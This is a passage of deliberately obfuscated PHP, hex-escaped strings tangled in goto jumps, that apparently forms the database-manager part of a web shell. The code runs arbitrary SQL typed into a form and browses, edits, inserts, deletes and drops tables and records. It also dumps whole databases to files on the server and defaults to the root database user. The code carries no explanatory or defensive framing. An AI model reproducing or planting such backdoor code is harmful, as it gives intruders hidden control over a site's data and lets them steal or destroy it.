p("\74\x74\144\x3e\x44\x65\x66\141\165\154\x74\74\x2f\164\144\76"); goto zH0gQ; nboKo: p("\74\x74\x64\x3e\x4e\x75\x6c\154\x3c\x2f\x74\x64\76"); goto a9JoE; MhVOC: p("\x3c\x74\144\76\x50\x61\143\x6b\x65\144\74\x2f\164\144\76"); goto JsIPx; a9JoE: p("\74\x74\x64\x3e\113\x65\171\x3c\57\164\x64\x3e"); goto us3WR; BLt38: p("\x3c\x74\144\76\113\x65\171\156\141\x6d\145\74\x2f\164\144\76"); goto h0yRu; ZRC5t: tbfoot(); goto Uycdq; GARfc: p("\x3c\164\x64\x3e\x43\141\x72\144\x69\156\x61\154\151\164\x79\74\57\x74\144\x3e"); goto BV9aW; c3CgE: p("\x3c\164\x64\x3e\124\171\x70\x65\74\x2f\164\144\x3e"); goto BLf0M; aSAGY: p("\x3c\x2f\164\x72\x3e"); goto y8SMf; k1k10: $result = q("\x53\110\x4f\x57\40\x49\116\104\105\x58\x20\106\122\x4f\x4d\x20{$tablename}"); goto IMtKH; uJfFR: $rowdb = array(); goto ho8zr; Ibly4: p("\x3c\x74\x64\76\x50\162\x69\x76\151\x6c\145\x67\145\x73\74\x2f\164\x64\x3e"); goto zZHCg; Bsl8A: $result = q("\123\110\x4f\127\x20\106\x55\114\x4c\x20\103\117\114\125\115\x4e\123\40\x46\122\117\x4d\x20{$tablename}"); goto uJfFR; BV9aW: p("\x3c\164\x64\x3e\103\x6f\154\x6c\141\x74\x69\x6f\x6e\x3c\57\x74\144\x3e"); goto UcIso; h0yRu: p("\x3c\x74\x64\x3e\124\171\160\x65\x3c\57\x74\144\x3e"); goto NkGTR; b70Oo: p("\x3c\150\x33\x3e\123\x74\162\x75\x63\164\165\162\145\x3c\57\150\63\76"); goto MWHEW; BLf0M: p("\74\164\x64\76\x43\x6f\x6c\x6c\141\x74\x69\x6f\x6e\74\x2f\x74\x64\x3e"); goto nboKo; SlZMZ: p("\x3c\x74\x61\x62\x6c\x65\40\142\x6f\x72\x64\x65\162\x3d\x22\60\x22\40\143\x65\154\x6c\x70\141\144\x64\x69\156\x67\75\42\63\x22\40\143\145\154\154\163\160\141\x63\x69\156\147\x3d\x22\x30\42\76"); goto IPM0D; Uycdq: } elseif ($doing == "\151\x6e\x73\x65\x72\x74" || $doing == "\145\144\x69\164") { goto GLLvX; f27OR: while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } goto F2Y8M; gWgqe: p("\x3c\146\x6f\x72\x6d\x20\155\x65\x74\150\157\144\x3d\x22\x70\x6f\163\x74\42\x20\141\x63\164\151\x6f\x6e\75\42" . $self . "\42\x3e"); goto Z3d9_; Z3d9_: p($dbform); goto Qqv7M; Qqv7M: makehide("\141\x63\x74\151\157\x6e", "\155\x79\x73\x71\154\141\x64\x6d\x69\x6e"); goto i6Vf2; i6Vf2: makehide("\164\x61\x62\x6c\x65\x6e\141\x6d\x65", $tablename); goto NuX_x; NuX_x: p("\x3c\x74\x61\x62\x6c\145\x20\142\157\x72\x64\145\x72\75\42\60\x22\x20\143\145\154\154\160\x61\144\144\151\x6e\x67\75\42\x33\42\x20\143\x65\154\x6c\163\x70\141\143\x69\x6e\147\75\42\60\x22\76"); goto ABjFI; nxshF: p("\x3c\57\x74\141\142\x6c\145\x3e\x3c\57\x66\157\162\x6d\76"); goto U0kr1; GLLvX: $result = q("\x53\110\x4f\127\x20\x43\x4f\x4c\x55\x4d\x4e\123\x20\x46\x52\x4f\x4d\x20" . $tablename); goto f27OR; ABjFI: foreach ($rowdb as $row) { goto Skqk9; MgMyp: $thisbg = bg(); goto F7aTC; F7aTC: p("\x3c\164\x72\40\143\154\141\x73\163\x3d\42" . $thisbg . "\x22\x20\157\156\155\157\x75\x73\145\x6f\166\x65\x72\75\x22\x74\150\151\163\x2e\x63\154\141\163\163\x4e\141\155\145\75\47\146\x6f\x63\x75\163\47\x3b\42\x20\157\156\155\x6f\165\163\x65\157\165\x74\75\x22\164\x68\151\163\56\143\x6c\141\x73\163\x4e\x61\x6d\x65\75\x27" . $thisbg . "\x27\73\x22\x3e"); goto riosb; riosb: if ($row["\x4b\x65\x79"] == "\125\x4e\111" || $row["\105\x78\x74\x72\141"] == "\141\x75\x74\x6f\x5f\x69\x6e\143\x72\x65\x6d\x65\156\x74" || $row["\113\145\x79"] == "\120\x52\111") { p("\74\x74\x64\76\x3c\142\76" . $row["\x46\151\x65\154\144"] . "\x3c\x2f\142\76\x3c\x62\x72\x20\x2f\76" . $row["\124\x79\160\x65"] . "\x3c\57\x74\x64\76\x3c\x74\x64\x3e" . $value . "\46\156\142\163\x70\73\x3c\x2f\x74\144\76\x3c\57\164\x72\x3e"); } else { p("\x3c\164\144\76\74\x62\x3e" . $row["\106\x69\x65\x6c\x64"] . "\74\57\x62\x3e\x3c\x62\x72\40\57\x3e" . $row["\124\171\x70\x65"] . "\74\x2f\164\x64\x3e\74\x74\x64\x3e\x3c\164\x65\x78\164\x61\x72\145\141\40\143\x6c\x61\x73\x73\75\42\x61\x72\145\x61\42\40\x6e\141\155\x65\x3d\x22\151\x6e\163\145\162\x74\163\161\154\x5b" . $row["\x46\151\x65\154\144"] . "\x5d\42\x20\x73\164\171\x6c\145\75\42\x77\151\x64\164\150\x3a\65\60\60\x70\x78\73\x68\145\151\147\x68\x74\x3a\x36\x30\160\x78\73\157\x76\x65\x72\146\x6c\157\167\72\141\x75\164\x6f\x3b\x22\76" . $value . "\x3c\57\164\145\x78\x74\x61\162\x65\x61\x3e\x3c\57\164\144\76\x3c\x2f\164\162\x3e"); } goto LWFe6; Skqk9: if ($rs[$row["\106\151\145\x6c\x64"]]) { $value = htmlspecialchars($rs[$row["\x46\151\x65\x6c\x64"]]); } else { $value = ''; } goto MgMyp; LWFe6: } goto m28GN; m28GN: if ($doing == "\151\156\163\145\162\x74") { p("\x3c\x74\162\x20\x63\154\141\x73\x73\75\42" . bg() . "\x22\x3e\74\x74\144\40\x63\x6f\154\163\x70\x61\156\x3d\42\x32\x22\76\74\151\x6e\x70\165\164\x20\143\154\141\x73\x73\x3d\42\142\x74\42\x20\x74\x79\x70\145\x3d\x22\163\165\142\155\151\164\42\40\156\x61\155\x65\75\x22\x69\x6e\163\145\162\x74\x22\40\x76\x61\154\165\145\75\42\111\x6e\163\145\162\x74\x22\40\57\x3e\x3c\x2f\x74\144\76\x3c\57\x74\x72\x3e"); } else { p("\74\164\x72\40\143\154\x61\x73\x73\x3d\42" . bg() . "\42\76\x3c\164\x64\40\143\x6f\154\163\x70\141\x6e\x3d\x22\x32\x22\x3e\x3c\x69\x6e\x70\x75\x74\x20\143\154\x61\x73\x73\75\x22\142\x74\x22\x20\164\171\x70\x65\x3d\x22\x73\x75\142\x6d\x69\164\42\x20\156\x61\x6d\145\75\42\x75\160\144\x61\x74\x65\42\x20\166\x61\x6c\165\x65\x3d\42\x55\x70\x64\x61\164\x65\42\x20\x2f\76\74\57\x74\144\76\x3c\x2f\x74\162\x3e"); makehide("\142\141\163\145\66\64", $base64); } goto nxshF; F2Y8M: $rs = array(); goto LYsrk; LYsrk: if ($doing == "\x69\x6e\x73\145\x72\x74") { p("\74\150\62\76\x49\156\163\x65\162\164\x20\x6e\x65\x77\x20\x6c\x69\156\145\x20\151\156\40" . $tablename . "\40\164\x61\142\154\x65\x20\46\162\x61\161\165\157\x3b\74\x2f\150\62\x3e"); } else { goto C6St3; hZnHR: $result = q("\x53\105\x4c\105\x43\124\40\52\x20\106\122\117\x4d\x20{$tablename}\x20\127\x48\105\x52\x45\x20{$where}\40\114\111\115\x49\x54\x20\61"); goto Ru_hR; C6St3: p("\74\x68\x32\x3e\125\160\x64\141\164\145\40\162\145\x63\157\x72\x64\40\151\x6e\40" . $tablename . "\x20\x74\141\x62\154\x65\40\x26\162\141\x71\165\157\73\x3c\57\150\x32\x3e"); goto ttF9M; ttF9M: $where = base64_decode($base64); goto hZnHR; Ru_hR: $rs = mysql_fetch_array($result); goto dltrt; dltrt: } goto gWgqe; U0kr1: } else { $querys = @explode("\x3b", $sql_query); foreach ($querys as $num => $query) { if ($query) { p("\x3c\x70\x3e\x3c\x62\76\121\x75\x65\162\171\43{$num}\x20\x3a\40" . htmlspecialchars($query, ENT_QUOTES) . "\x3c\57\x62\76\74\57\x70\76"); switch (qy($query)) { case 0: p("\x3c\x68\62\76\105\162\x72\x6f\162\x20\72\40" . mysql_error() . "\74\57\x68\62\x3e"); break; case 1: goto NNJWk; EoolH: p("\x3c\164\141\x62\154\145\x20\x62\157\x72\x64\145\x72\x3d\42\x30\x22\40\143\x65\154\x6c\x70\141\144\144\151\156\147\75\x22\x33\x22\x20\x63\145\x6c\x6c\x73\160\x61\x63\x69\x6e\147\x3d\x22\60\42\x3e"); goto yuBfI; i1Ko5: tbfoot(); goto InEr1; ru8K7: $fieldnum = @mysql_num_fields($result); goto rsZ8o; LtZj2: if ($allowedit) { p("\x3c\164\x64\x3e\x41\143\x74\x69\x6f\156\x3c\x2f\164\x64\76"); } goto SPmfr; rsZ8o: for ($i = 0; $i < $fieldnum; $i++) { $name = @mysql_field_name($result, $i); $type = @mysql_field_type($result, $i); $len = @mysql_field_len($result, $i); p("\74\x74\x64\x20\x6e\x6f\167\162\x61\160\76{$name}\x3c\142\x72\x3e\74\x73\x70\x61\x6e\x3e{$type}\x28{$len}\x29" . ($rowdb[$name]["\113\x65\x79"] == "\125\116\111" || $rowdb[$name]["\113\145\x79"] == "\x50\x52\x49" ? "\x3c\x62\76\40\55\40\120\122\x49\x4d\101\122\131\74\57\x62\76" : '') . ($rowdb[$name]["\x45\x78\x74\162\141"] == "\141\x75\x74\157\x5f\x69\x6e\143\162\145\155\145\156\164" ? "\74\142\76\40\55\x20\x41\x75\x74\157\x3c\x2f\x62\76" : '') . "\x3c\x2f\x73\160\x61\x6e\x3e\74\57\164\144\76"); } goto cn1aD; Vd1PU: if ($allowedit) { p("\x3c\164\144\76\101\143\164\x69\x6f\x6e\74\x2f\164\144\x3e"); } goto ru8K7; evnJS: p("\74\x2f\x74\x72\x3e"); goto i1Ko5; zOXFo: $rowdb = array(); goto uDITH; dNCPh: if (!$tablename) { goto zGrm_; FBrrO: $tablename = $matches[1][0]; goto vGaeZ; zGrm_: $sql_line = str_replace(array("\xd", "\12", "\11"), array("\x20", "\40", "\40"), trim(htmlspecialchars($query))); goto XFbqZ; b9COT: preg_match_all("\57\x66\x72\x6f\155\x5c\163\53\140\x7b\x30\x2c\x31\x7d\x28\x5b\134\x77\x5d\x2b\x29\140\x7b\x30\54\61\x7d\134\163\x2b\x2f\x69", $sql_line, $matches); goto FBrrO; XFbqZ: $sql_line = preg_replace("\57\134\x2f\134\x2a\x5b\x5e\50\x5c\52\134\57\x29\x5d\x2a\134\x2a\x5c\x2f\x2f\x69", "\x20", $sql_line); goto b9COT; vGaeZ: } goto eCOgi; EZz9u: for ($i = 0; $i < $fieldnum; $i++) { $name = @mysql_field_name($result, $i); $type = @mysql_field_type($result, $i); $len = @mysql_field_len($result, $i); p("\74\164\144\40\x6e\157\167\x72\x61\x70\x3e{$name}\74\x62\x72\x3e\x3c\x73\160\x61\x6e\76{$type}\50{$len}\51" . ($rowdb[$name]["\x4b\x65\171"] == "\x55\x4e\111" || $rowdb[$name]["\113\145\171"] == "\120\x52\111" ? "\74\x62\76\40\x2d\40\120\122\111\x4d\x41\x52\x59\74\57\142\x3e" : '') . ($rowdb[$name]["\x45\x78\x74\162\141"] == "\141\165\x74\x6f\x5f\151\156\143\x72\x65\x6d\145\156\164" ? "\x3c\142\76\x20\55\40\101\x75\164\157\x3c\57\142\x3e" : '') . "\x3c\57\x73\x70\141\x6e\x3e\74\57\164\x64\x3e"); } goto evnJS; A8RlW: break; goto bVEi1; cn1aD: p("\74\57\164\x72\76"); goto vMkJn; NNJWk: if (strtolower(substr($query, 0, 13)) == "\x73\145\x6c\145\x63\164\40\52\x20\x66\x72\157\155") { $allowedit = 1; } goto J2kXd; FKa1O: $result = q($query); goto xvj1I; XXBul: p("\74\x74\x72\x20\x63\154\141\163\x73\x3d\42\x68\x65\141\x64\42\76"); goto LtZj2; J2kXd: if ($getnumsql) { $tatol = mysql_num_rows(q($getnumsql)); $multipage = multi($tatol, $pagenum, $page, $tablename); } goto dNCPh; eCOgi: $getfield = q("\123\x48\117\127\40\103\x4f\x4c\x55\115\116\x53\x20\106\122\x4f\115\40{$tablename}"); goto zOXFo; uDITH: $keyfied = ''; goto uM9IH; u3eTp: if ($keyfied && strtolower(substr($query, 0, 13)) == "\x73\145\154\145\x63\x74\x20\x2a\x20\x66\162\157\x6d") { $query = str_replace("\40\114\111\x4d\111\x54\40", "\40\x6f\x72\144\x65\162\40\x62\171\40{$keyfied}\40\104\x45\x53\x43\x20\x4c\x49\x4d\111\124\x20", $query); } goto FKa1O; vMkJn: while ($mn = @mysql_fetch_assoc($result)) { $thisbg = bg(); p("\x3c\x74\162\40\x63\154\141\163\163\75\42" . $thisbg . "\x22\40\157\156\155\x6f\x75\163\x65\x6f\x76\x65\162\75\x22\164\x68\151\163\56\143\x6c\141\x73\163\116\141\155\145\x3d\47\146\x6f\x63\x75\163\47\x3b\x22\40\x6f\156\x6d\x6f\165\163\145\157\x75\164\75\42\164\x68\x69\x73\56\143\154\x61\x73\x73\x4e\141\x6d\145\75\x27" . $thisbg . "\47\x3b\42\76"); $where = $tmp = $b1 = ''; foreach ($mn as $key => $inside) { if ($inside) { goto OCRBX; Zbdnu: $where .= $tmp . $key . "\x3d\x27" . addslashes($inside) . "\47"; goto UU7wF; OCRBX: if ($rowdb[$key]["\x4b\145\x79"] == "\125\116\x49" || $rowdb[$key]["\x45\x78\x74\162\x61"] == "\x61\x75\x74\x6f\x5f\x69\156\143\x72\145\x6d\145\x6e\164" || $rowdb[$key]["\113\145\171"] == "\120\122\111") { $where = $key . "\x3d\x27" . addslashes($inside) . "\x27"; break; } goto Zbdnu; UU7wF: $tmp = "\x20\101\x4e\104\x20"; goto b9jwj; b9jwj: } } foreach ($mn as $key => $inside) { $b1 .= "\x3c\x74\x64\40\156\x6f\x77\x72\x61\160\x3e" . html_clean($inside) . "\46\x6e\x62\163\x70\73\74\x2f\164\x64\76"; } $where = base64_encode($where); if ($allowedit) { p("\74\x74\x64\x20\x6e\157\167\x72\x61\x70\x3e\74\141\40\x68\162\145\146\75\x22\x6a\x61\x76\141\x73\x63\x72\x69\160\x74\72\145\x64\151\164\x72\145\x63\x6f\x72\x64\x28\47\145\144\x69\x74\x27\x2c\x20\47" . $where . "\x27\54\40\x27" . $tablename . "\47\x29\x3b\42\x3e\x45\x64\151\164\74\x2f\141\x3e\x20\x7c\40\74\x61\40\x68\x72\x65\x66\75\42\x6a\x61\x76\141\x73\143\x72\x69\160\164\72\145\x64\x69\x74\x72\x65\x63\x6f\162\x64\x28\x27\x64\x65\154\x27\54\x20\x27" . $where . "\47\54\40\47" . $tablename . "\x27\x29\x3b\42\x3e\104\145\x6c\74\x2f\x61\76\x3c\57\164\x64\76"); } p($b1); p("\74\57\x74\162\x3e"); unset($b1); } goto XXBul; xvj1I: p($multipage); goto EoolH; InEr1: p($multipage); goto A8RlW; SPmfr: $fieldnum = @mysql_num_fields($result); goto EZz9u; uM9IH: while ($row = @mysql_fetch_assoc($getfield)) { $rowdb[$row["\x46\151\x65\x6c\x64"]]["\113\145\x79"] = $row["\x4b\145\x79"]; $rowdb[$row["\x46\x69\145\x6c\x64"]]["\x45\x78\164\162\141"] = $row["\x45\170\164\x72\141"]; if ($row["\x4b\x65\x79"] == "\125\x4e\x49" || $row["\x4b\x65\171"] == "\x50\x52\x49") { $keyfied = $row["\x46\x69\145\x6c\144"]; } } goto u3eTp; yuBfI: p("\x3c\x74\162\x20\x63\154\x61\x73\163\x3d\x22\x68\x65\x61\144\x22\x3e"); goto Vd1PU; bVEi1: case 2: goto cABlm; jupX_: break; goto gt9gB; cABlm: $ar = mysql_affected_rows(); goto tza0x; tza0x: p("\x3c\150\x32\76\x61\146\146\145\143\x74\x65\144\40\162\x6f\167\163\x20\x3a\40\74\142\76" . $ar . "\x3c\x2f\142\x3e\74\57\150\x32\76"); goto jupX_; gt9gB: } } } } } else { goto LR0Pt; eWGCL: p("\74\164\x64\76\x44\141\x74\x61\137\154\145\156\147\x74\150\x3c\x2f\164\x64\76"); goto FMlLQ; GcFKV: $data_size = sizecount($data_size); goto wb0n9; Vp1Ys: p("\x3c\x74\x64\76" . $table_rows . "\74\57\x74\144\76"); goto y7x6w; GWgEB: p("\74\164\162\x20\x63\x6c\141\x73\163\75\x22\150\x65\x61\144\x22\76"); goto hFNiQ; QlsKI: p("\74\x74\144\76\124\x6f\x74\x61\154\40\x74\141\x62\154\x65\163\72\x20" . $table_num . "\x3c\57\164\x64\76"); goto Vp1Ys; y7x6w: p("\x3c\164\x64\x3e" . $data_size . "\x3c\57\164\144\x3e"); goto siS8E; FmdFr: if ($highver) { p("\x3c\164\144\x3e\x45\156\x67\151\x6e\145\x3c\57\x74\144\x3e"); p("\74\164\144\x3e\x43\157\x6c\154\x61\164\x69\x6f\156\74\57\x74\x64\x3e"); } goto GKun0; GKun0: p("\x3c\164\144\x3e\117\x70\145\x72\141\x74\x65\74\x2f\164\x64\x3e"); goto gOolX; dKeAW: p("\74\x2f\164\162\x3e"); goto AQk7H; QVllK: p("\x3c\164\144\76\x26\x6e\x62\163\x70\x3b\x3c\57\x74\x64\x3e"); goto QlsKI; YDf8i: p("\x3c\164\144\x3e\x52\x6f\167\163\74\x2f\x74\144\x3e"); goto eWGCL; hFNiQ: p("\74\x74\x64\x20\167\x69\144\164\150\75\x22\62\x25\42\x20\141\154\x69\147\156\x3d\x22\143\x65\156\164\x65\x72\x22\x3e\x3c\151\x6e\x70\165\x74\40\156\141\155\145\75\42\143\150\x6b\141\154\x6c\x22\x20\x76\x61\154\x75\145\x3d\x22\x6f\x6e\x22\40\164\171\160\x65\75\x22\143\150\145\143\x6b\x62\x6f\x78\42\40\157\x6e\x63\154\151\143\153\x3d\42\x43\150\145\x63\153\x41\x6c\154\x28\x74\x68\151\x73\x2e\146\157\162\155\51\42\x20\x2f\x3e\74\57\x74\144\76"); goto iTLZa; kxTQS: p("\x3c\x2f\164\x72\x3e"); goto W2YbM; OPvP6: p("\74\x66\157\x72\155\40\141\x63\164\151\x6f\x6e\x3d\x22" . $self . "\x22\40\x6d\x65\x74\150\x6f\x64\75\42\120\117\x53\x54\x22\x3e"); goto O5mt9; Gov5J: p("\74\164\141\x62\154\x65\x20\142\157\162\144\x65\x72\x3d\42\x30\42\x20\143\145\x6c\154\160\x61\144\x64\x69\x6e\147\75\42\60\x22\x20\x63\x65\154\x6c\163\160\x61\143\x69\156\147\75\42\60\x22\76"); goto OPvP6; AQk7H: p("\x3c\164\162\40\x63\x6c\141\163\x73\75\42" . bg() . "\x22\x3e\74\x74\144\x20\143\x6f\154\x73\x70\x61\x6e\75\x22" . ($highver ? 9 : 7) . "\x22\76\74\151\x6e\160\x75\x74\x20\156\141\x6d\145\x3d\x22\163\141\166\145\141\x73\x66\151\x6c\145\42\40\x76\x61\154\165\x65\x3d\x22\x31\42\40\x74\x79\x70\145\75\42\143\x68\x65\143\153\x62\x6f\x78\42\x20\x2f\76\x20\x53\141\166\145\40\x61\x73\x20\146\x69\x6c\145\x20\x3c\x69\x6e\160\x75\164\40\143\154\141\163\x73\x3d\x22\x69\156\160\165\164\x22\x20\x6e\x61\155\145\x3d\42\x70\x61\164\x68\x22\x20\166\x61\154\x75\x65\75\42" . SA_ROOT . $dbname . "\x2e\x73\161\154\x22\40\164\171\160\145\75\42\x74\x65\170\x74\42\x20\x73\x69\x7a\x65\x3d\42\x36\x30\42\40\57\x3e\x20\x3c\x69\x6e\160\165\164\40\143\x6c\141\x73\x73\75\x22\142\164\x22\40\164\x79\160\145\75\x22\163\x75\142\155\151\x74\42\x20\x76\141\x6c\x75\x65\x3d\x22\105\x78\160\x6f\162\164\40\163\x65\x6c\145\x63\x74\x69\x6f\156\x20\164\141\142\x6c\x65\x22\40\57\76\74\x2f\x74\144\76\74\57\164\162\76"); goto k4x4w; dalJY: p($dbform); goto QvvjR; D06vq: p("\x3c\x74\144\x3e\x55\160\x64\141\164\145\137\x74\x69\155\x65\74\x2f\164\x64\x3e"); goto FmdFr; sTIho: p("\x3c\x74\x64\76\x4e\141\x6d\145\74\57\x74\x64\x3e"); goto YDf8i; W2YbM: p("\74\164\x72\x20\x63\x6c\x61\163\163\75" . bg() . "\76"); goto QVllK; XUUBe: p("\x3c\x74\x64\x3e\x44\141\x74\x61\137\154\145\x6e\x67\x74\x68\74\57\x74\x64\x3e"); goto fY_H5; O5mt9: makehide("\x61\143\x74\x69\157\x6e", "\155\x79\163\x71\x6c\141\x64\x6d\151\x6e"); goto dalJY; O2mkr: formfoot(); goto P3Iqk; UuRyE: p("\x3c\164\x64\76\x55\160\144\x61\164\145\x5f\164\x69\155\145\x3c\x2f\164\144\x3e"); goto ybQld; gOolX: p("\74\x2f\x74\x72\x3e"); goto Kf0ag; cphYK: $tabledb = array(); goto EmPG2; FMlLQ: p("\74\164\x64\76\103\162\145\x61\164\145\x5f\x74\x69\x6d\x65\x3c\57\x74\x64\76"); goto D06vq; KUPtM: p("\74\x74\144\40\167\151\144\164\150\x3d\42\x32\45\x22\40\x61\154\x69\x67\x6e\75\42\143\x65\x6e\164\x65\x72\x22\x3e\46\156\142\163\x70\73\74\57\164\x64\x3e"); goto sTIho; ybQld: if ($highver) { p("\x3c\164\144\x3e\105\156\x67\151\156\x65\74\x2f\164\x64\76"); p("\x3c\164\x64\x3e\x43\157\x6c\x6c\141\164\151\x6f\156\74\57\x74\x64\x3e"); } goto c68YG; LR0Pt: $query = q("\x53\110\117\x57\x20\124\x41\x42\114\105\x20\x53\x54\101\124\x55\123"); goto BQh9o; QvvjR: p("\74\x74\162\x20\143\154\x61\163\x73\75\42\x68\145\141\144\x22\76"); goto KUPtM; fY_H5: p("\x3c\164\144\76\x43\x72\x65\x61\x74\x65\x5f\x74\151\x6d\x65\74\x2f\164\144\x3e"); goto UuRyE; Kf0ag: foreach ($tabledb as $key => $table) { goto kONNO; IjcoN: p("\x3c\164\144\x3e\x3c\141\x20\x68\162\145\x66\75\42\152\141\x76\x61\163\x63\162\x69\x70\x74\x3a\163\145\164\164\141\x62\154\145\x28\47" . $table["\x4e\141\155\x65"] . "\x27\x29\x3b\x22\x3e" . $table["\116\x61\x6d\x65"] . "\x3c\57\x61\x3e\x3c\57\164\144\76"); goto E38rG; gQFLJ: p("\74\164\x64\x20\x61\x6c\x69\147\156\75\42\x63\145\156\164\x65\x72\42\40\x77\x69\x64\x74\150\75\x22\x32\x25\x22\x3e\x3c\x69\156\x70\x75\x74\x20\x74\171\160\145\75\42\x63\150\x65\x63\x6b\x62\x6f\x78\x22\x20\x6e\x61\155\145\x3d\x22\164\x61\x62\x6c\x65\x5b\135\x22\x20\166\141\154\165\145\75\x22" . $table["\x4e\141\x6d\x65"] . "\42\x20\x2f\x3e\x3c\57\x74\144\76"); goto IjcoN; Zu28H: if ($highver) { p("\x3c\x74\144\x3e" . $table["\x45\x6e\x67\x69\x6e\145"] . "\74\57\x74\144\76"); p("\74\164\x64\76" . $table["\103\x6f\154\x6c\141\164\151\x6f\x6e"] . "\74\x2f\x74\x64\76"); } goto pAC77; OiMdr: p("\x3c\x2f\164\x72\76"); goto fB91m; ob4IJ: p("\x3c\164\144\x3e" . $table["\103\x72\x65\x61\x74\x65\x5f\x74\x69\155\x65"] . "\x26\156\x62\163\160\x3b\74\57\x74\x64\76"); goto M_imd; zuXll: p("\74\164\162\x20\x63\x6c\141\x73\x73\x3d\42" . $thisbg . "\42\40\x6f\156\x6d\157\x75\x73\x65\157\x76\x65\x72\75\42\x74\x68\151\x73\x2e\x63\x6c\141\x73\163\x4e\141\155\x65\75\x27\x66\157\143\165\x73\x27\73\x22\40\157\x6e\x6d\x6f\x75\x73\145\157\165\164\75\42\x74\150\151\x73\56\143\x6c\141\163\163\116\x61\155\145\75\47" . $thisbg . "\x27\x3b\x22\76"); goto gQFLJ; M_imd: p("\x3c\164\144\76" . $table["\125\160\144\x61\164\145\137\164\x69\155\x65"] . "\x26\x6e\142\x73\x70\x3b\74\57\x74\144\x3e"); goto Zu28H; E38rG: p("\74\164\x64\76" . $table["\122\x6f\167\x73"] . "\74\x2f\x74\x64\x3e"); goto TdTgM; kONNO: $thisbg = bg(); goto zuXll; pAC77: p("\74\164\144\x3e\74\x61\40\x68\x72\145\146\x3d\x22\x6a\x61\x76\x61\163\143\x72\151\x70\x74\x3a\163\x65\164\x74\x61\x62\x6c\145\x28\x27" . $table["\116\x61\x6d\x65"] . "\x27\x2c\x20\x27\x69\x6e\163\145\x72\x74\47\51\73\x22\x3e\x49\x6e\163\145\x72\x74\74\x2f\x61\x3e\x20\174\x20\x3c\x61\x20\150\162\145\146\x3d\x22\x6a\141\166\141\163\143\162\x69\x70\x74\x3a\163\145\164\164\141\142\154\145\x28\x27" . $table["\116\141\155\145"] . "\x27\x2c\x20\47\163\x74\162\x75\143\164\165\162\145\47\51\73\x22\x3e\x53\x74\162\165\143\164\x75\162\x65\x3c\57\x61\x3e\40\174\40\74\x61\x20\x68\x72\145\146\75\42\x6a\x61\x76\141\x73\x63\x72\x69\x70\164\x3a\x73\145\164\x74\141\x62\x6c\x65\x28\x27" . $table["\x4e\x61\155\x65"] . "\x27\54\40\x27\x64\162\157\x70\x27\51\73\42\x3e\104\162\x6f\x70\74\57\x61\x3e\x3c\x2f\x74\144\x3e"); goto OiMdr; TdTgM: p("\74\x74\144\76" . $table["\x44\x61\x74\141\x5f\154\x65\x6e\x67\x74\150"] . "\74\57\164\x64\76"); goto ob4IJ; fB91m: } goto GWgEB; siS8E: p("\x3c\x74\x64\40\143\x6f\x6c\163\160\141\156\75\42" . ($highver ? 5 : 3) . "\x22\76\x26\x6e\142\x73\x70\73\x3c\57\x74\144\x3e"); goto dKeAW; wb0n9: unset($table); goto Gov5J; P3Iqk: p("\x3c\57\x74\x61\x62\x6c\145\76"); goto FvfQz; BQh9o: $table_num = $table_rows = $data_size = 0; goto cphYK; c68YG: p("\74\164\144\x3e\117\160\x65\x72\x61\x74\x65\x3c\x2f\164\144\76"); goto kxTQS; fY6ID: p("\x3c\x74\x64\x3e\x52\x6f\x77\163\x3c\x2f\164\144\x3e"); goto XUUBe; k4x4w: makehide("\x64\x6f\x69\156\147", "\x62\141\143\x6b\x75\x70\x6d\171\163\161\x6c"); goto O2mkr; iTLZa: p("\x3c\x74\144\x3e\116\141\x6d\x65\74\57\164\144\76"); goto fY6ID; EmPG2: while ($table = mysql_fetch_array($query)) { $data_size = $data_size + $table["\104\x61\164\x61\x5f\154\x65\x6e\147\x74\150"]; $table_rows = $table_rows + $table["\122\157\167\x73"]; $table["\104\x61\x74\x61\137\x6c\145\156\x67\x74\x68"] = sizecount($table["\x44\141\x74\141\x5f\x6c\145\x6e\x67\x74\150"]); $table_num++; $tabledb[] = $table; } goto GcFKV; FvfQz: fr($query); goto epFBx; epFBx: } goto nxG1l; JOUy0: $runquery = 0; goto GmEvk; mXgCd: mysql_select_db($dbname); goto rclpr; lSR9X: p("\74\57\146\157\x72\155\x3e"); goto pHgCQ; hVsT8: p("\x3c\x2f\x70\76"); goto mXgCd; Hy3lZ: if ($tablename && !$sql_query) { goto xjuDF; no4C0: $getnumsql = $sql_query; goto pNpqV; xjuDF: $sql_query = "\x53\x45\114\x45\103\x54\x20\52\x20\x46\122\117\115\40{$tablename}"; goto no4C0; Fok6n: $allowedit = 1; goto ukjIc; pNpqV: $sql_query = $sql_query . "\40\x4c\111\x4d\111\124\40{$start_limit}\54\40{$pagenum}"; goto Fok6n; ukjIc: } goto NelWf; nxG1l: } goto hJXe0; hJXe0: } goto w0tsT; ev7E2: if ($doing == "\x64\145\x6c" && $base64) { goto SVmlq; hMkjg: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto IouV2; SVmlq: $where = base64_decode($base64); goto CFphP; IouV2: m(q("\104\x45\114\x45\124\105\x20\106\122\117\115\40{$tablename}\40\x57\110\x45\122\x45\x20{$where}") ? "\x44\x65\154\145\x74\x69\x6f\156\40\x72\145\143\157\x72\144\40\157\146\x20\163\165\143\x63\x65\x73\163" : mysql_error()); goto iIrAi; CFphP: $delete_sql = "\104\x45\114\105\x54\x45\x20\106\x52\x4f\x4d\40{$tablename}\40\x57\x48\105\x52\x45\x20{$where}"; goto hMkjg; iIrAi: } goto PGCTJ; wRAuR: !$dbuser && ($dbuser = "\162\157\157\x74"); goto XoXaF; O0GcV: if ($insert && $insertsql) { goto qM_Jd; qM_Jd: $keystr = $valstr = $tmp = ''; goto AqnTw; rXP_K: if ($keystr && $valstr) { $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); m(q("\111\116\x53\x45\x52\x54\40\111\116\124\117\x20{$tablename}\40\x28{$keystr}\51\40\126\x41\x4c\125\x45\123\40\x28{$valstr}\51") ? "\111\x6e\x73\x65\x72\164\40\x6e\145\x77\40\162\145\x63\157\162\144\x20\x6f\146\40\x73\x75\143\x63\145\163\163" : mysql_error()); } goto k7iql; AqnTw: foreach ($insertsql as $key => $val) { if ($val) { goto YwW0R; YwW0R: $keystr .= $tmp . $key; goto mQHmn; L3C1C: $tmp = "\x2c"; goto zvKGD; mQHmn: $valstr .= $tmp . "\47" . addslashes($val) . "\47"; goto L3C1C; zvKGD: } } goto rXP_K; k7iql: } goto xJwFh; CGTeq: if (isset($dbuser)) { $dbform .= 